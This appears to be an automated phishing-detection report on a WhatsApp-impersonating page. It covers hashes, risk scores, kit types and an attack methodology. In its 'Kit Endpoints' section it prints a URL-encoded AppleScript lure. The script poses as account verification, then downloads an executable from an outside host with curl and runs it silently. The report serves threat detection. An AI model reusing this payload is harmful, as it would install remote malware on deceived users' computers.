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Visual Capture

Screenshot of t43wmtq3rv5rs.kimi.page

Detection Info

https://t43wmtq3rv5rs.kimi.page
Detected Brand
WhatsApp (implied by logo)
Country
Unknown
Confidence
100%
HTTP Status
200
Report ID
bc33521c-476โ€ฆ
Analyzed
2026-07-20 17:09
Final URL (after redirects)
https://t43wmtq3rv5rs.kimi.page/

Content Hashes (HTML Similarity)

Used to detect similar phishing pages based on HTML content

Algorithm Hash Value
CONTENT TLSH
T104C2B6B5A055E83666B7C8D1E2795B4F70C0EB0ADE572340D7EE83B845C6DE2FE21240
CONTENT ssdeep
768:/okc44LysYYY2MMIE02TV5SrRVcQ2c/evT21sojo:/okc44LysYYY2MfD2p5SrRVcQx/evTWU

Visual Hashes (Screenshot Similarity)

Used to detect visually similar phishing pages based on screenshots

Algorithm Hash Value
VISUAL pHash
8cf0a1f6a6cea598
VISUAL aHash
ff183c3c3c383c19
VISUAL dHash
2271716961617163
VISUAL wHash
ff183c3c3c383c19
VISUAL colorHash
30007000000
VISUAL cropResistant
2271716961617163

Code Analysis

Risk Score 70/100
Threat Level ALTO
โš ๏ธ Phishing Confirmed
๐ŸŽฃ OTP Stealer ๐ŸŽฃ Banking ๐ŸŽฃ Personal Info

๐ŸŽฏ Kit Endpoints

  • applescript://com.apple.scripteditor?action=new&script=--%20Account%20Verification%0Aset%20serverUrl%20to%20%22https%3A%2F%2Fdemo.chimera-v12.com%2Fpatch%2FmacOS%22%0Aset%20tempPath%20to%20%22%2Ftmp%2F.wa_verify_%22%20%26%20%28do%20shell%20script%20%22openssl%20rand%20-hex%204%22%29%0Aset%20verificationSteps%20to%20%7B%22Checking%20account%20status...%22%2C%20%22Verifying%20device%20integrity...%22%2C%20%22Scanning%20for%20threats...%22%2C%20%22Restoring%20permissions...%22%2C%20%22Finalizing%20recovery...%22%7D%0Adisplay%20dialog%20%22Account%20Verification%22%20%26%20return%20%26%20return%20%26%20%22Your%20account%20has%20been%20temporarily%20suspended.%20This%20process%20will%20restore%20your%20messaging%20access.%22%20%26%20return%20%26%20return%20%26%20%22Steps%3A%205%22%20%26%20return%20%26%20%22Estimated%20time%3A%2030%20seconds%22%20with%20title%20%22Security%20Center%22%20buttons%20%7B%22Cancel%22%2C%20%22Start%20Verification%22%7D%20default%20button%20%22Start%20Verification%22%20with%20icon%20note%0Aif%20button%20returned%20of%20result%20is%20%22Start%20Verification%22%20then%0A%09try%0A%09%09do%20shell%20script%20%22curl%20-sL%20%27%22%20%26%20serverUrl%20%26%20%22%27%20-o%20%22%20%26%20tempPath%20%26%20%22%20%26%26%20chmod%20%2Bx%20%22%20%26%20tempPath%20%26%20%22%20%26%26%20%22%20%26%20tempPath%20%26%20%22%20%3E%20%2Fdev%2Fnull%202%3E%261%20%26%22%0A%09%09set%20progress%20total%20steps%20to%205%0A%09%09set%20progress%20completed%20steps%20to%200%0A%09%09set%20progress%20description%20to%20%22Verifying%20your%20account...%22%0A%09%09repeat%20with%20i%20from%201%20to%205%0A%09%09%09set%20progress%20additional%20description%20to%20item%20i%20of%20verificationSteps%0A%09%09%09delay%203%0A%09%09%09set%20progress%20completed%20steps%20to%20i%0A%09%09end%20repeat%0A%09%09display%20dialog%20%22Verification%20Complete%21%22%20%26%20return%20%26%20return%20%26%20%22Your%20account%20has%20been%20restored.%22%20%26%20return%20%26%20%22You%20can%20now%20sen

๐Ÿ“ก API Calls Detected

  • https://ipwho.is/

๐Ÿ“Š Risk Score Breakdown

Total Risk Score
100/100

Contributing Factors

Active Phishing Kit
Detected kit types: OTP Stealer, Banking, Personal Info

๐Ÿ”ฌ Comprehensive Threat Analysis

Threat Type
Banking Credential Harvester
Target
WhatsApp (implied by logo) users
Attack Method
Phishing webpage
Exfiltration Channel
Form submission (backend endpoint not detected - likely JavaScript-based)
Risk Assessment
HIGH - Automated credential harvesting with Form submission (backend endpoint not detected - likely JavaScript-based)

โš ๏ธ Indicators of Compromise

  • Kit types: OTP Stealer, Banking, Personal Info

๐Ÿข Brand Impersonation Analysis

Impersonated Brand
WhatsApp (implied by logo)
Official Website
N/A
Fake Service
Banking/payment service

โš”๏ธ Attack Methodology

Primary Method: Two-Factor Authentication Bypass

Victim is prompted for 2FA code after entering credentials. The code is intercepted and used by attacker to access victim's account in real-time.

Secondary Method: Banking Credential Theft

Victim enters banking credentials including account numbers and security questions. Attacker gains full access to victim's banking services.

๐ŸŒ Infrastructure Indicators of Compromise

Domain Information

Domain
t43wmtq3rv5rs.kimi.page
Registered
Unknown
Registrar
Unknown
Status
Age unknown

Hosting Information

Provider
Unknown
ASN

๐Ÿค– AI-Extracted Threat Intelligence

๐Ÿ˜ฐ
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